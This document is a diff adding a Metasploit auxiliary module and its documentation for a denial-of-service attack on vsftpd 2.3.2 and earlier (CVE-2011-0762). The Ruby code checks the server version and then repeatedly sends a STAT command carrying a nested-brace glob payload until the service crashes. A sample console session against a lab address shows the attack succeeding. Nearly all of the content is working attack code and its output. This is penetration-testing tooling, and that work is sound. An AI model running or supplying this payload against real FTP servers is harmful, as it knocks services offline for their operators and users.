CVE-2011-0762 VSFTPD DOS attack

documentation/modules/auxiliary/dos/ftp/vsftpd_232.md

@@ -0,0 +1,35 @@
+## Vulnerable Application
+
+This is an auxiliary for DOSing a VSFTPD server from version 2.3.3 and below.
+
+## Verification Steps
+
+1. Start `msfconsole`
+2. `use auxiliary/dos/ftp/vstfpd_232`
+3. `set rhosts`
+4. `set ftpuser`
+5. `set ftppass`
+6. `run`
+
+## Scenarios
+
+### VSFTPD 2.3.2 - Arch linux
+
+```
+msf6 > use auxiliary/dos/ftp/vsftpd_232
+msf6 auxiliary(dos/ftp/vstfpd_232) > set rhosts 192.168.56.106
+rhosts => 192.168.56.106
+msf6 auxiliary(dos/ftp/vstfpd_232) > set ftpuser anonymous
+ftpuser => anonymous
+msf6 auxiliary(dos/ftp/vstfpd_232) > set ftppass ''
+ftppass => 
+msf6 auxiliary(dos/ftp/vstfpd_232) > run
+[*] Running module against 192.168.56.106
+
+[*] 192.168.56.106:21 - sending payload
+.............................................................................................
+[+] 192.168.56.106:21 - Stream was cut off abruptly. Appears DOS attack succeeded.
+[*] Auxiliary module execution completed
+```
+
+You can verify that it works by either attempting to ftp into the machine after or checking htop on the machine. If the CPU is at max capacity, that would be due to the DOS.

modules/auxiliary/dos/ftp/vstfpd_232.rb

@@ -0,0 +1,103 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::Ftp
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name'	=> 'VSFTPD 2.3.2 Denial of Service',
+        'Description'	=> %q{
+          This module triggers a Denial of Service condition in the VSFTPD server in versions before 2.3.3. So far, it has been tested on 2.3.2, but is reported to work on 2.3.0 as well.
+        },
+        'Author' => [ 'Nick Cottrell <ncottrellweb[at]gmail.com>', 'Anna Graterol <annagraterol95[at]gmail.com>', 'Mana Mostaani <mana.mostaani[at]gmail.com>' ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          [ 'BID', '46617' ],
+          [ 'CVE', '2011-0762' ],
+          [ 'EDB', '16270' ]
+        ],
+        'DisclosureDate' => '2011-02-03',
+        'Notes' => {
+          'Stability' => [CRASH_SERVICE_DOWN],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => []
+        }
+      )
+    )
+  end
+
+  def check
+    # attempt to connect
+    begin
+      if !connect_login
+        print_error('Connection refused.')
+        return Exploit::CheckCode::Unknown
+      end
+    rescue Rex::ConnectionRefused
+      print_error('Connection refused.')
+      return Exploit::CheckCode::Unknown
+    rescue Rex::ConnectionTimeout
+      print_error('Connection timed out')
+      return Exploit::CheckCode::Unknown
+    end
+    s = ''
+    loop do
+      # get each line until our desired line shows or end line shows
+      s = send_cmd(['STAT'], true)
+      break if (s =~ /vsFTPd \d+\.\d+\.\d+/) || (s == "211 End of status\r\n")
+    end
+    disconnect
+    # check if version was found
+    if s !~ /vsFTPd \d+\.\d+\.\d+/
+      print_error('Did not find ftp version in FTP session.')
+      return Exploit::CheckCode::Unknown
+    end
+
+    # pull out version and check if its in range of vulnerability
+    version = s[/\d+\.\d+\.\d+/]
+    if Rex::Version.new(version) < Rex::Version.new('2.3.3')
+      Exploit::CheckCode::Appears
+    else
+      Exploit::CheckCode::Safe
+    end
+  end
+
+  def run
+    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears
+
+    payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487
+
+    vprint_status("Payload being sent: #{payload}")
+    print_status('sending payload')
+
+    loop do
+      print('.')
+      connect_login
+      10.times do
+        send_cmd([payload.to_s], false)
+      end
+      send_cmd([payload.to_s], true)
+      disconnect
+    rescue Rex::ConnectionTimeout
+      print("\n")
+      print_error('Connection timeout! Sending again')
+    rescue Errno::ECONNRESET
+      print("\n")
+      print_error('Connection reset!')
+    rescue Rex::ConnectionRefused
+      print("\n")
+      print_good('Connection refused! Appears DOS attack succeeded.')
+    rescue EOFError
+      print("\n")
+      print_good('Stream was cut off abruptly. Appears DOS attack succeeded.')
+      break
+    end
+    disconnect
+  end
+end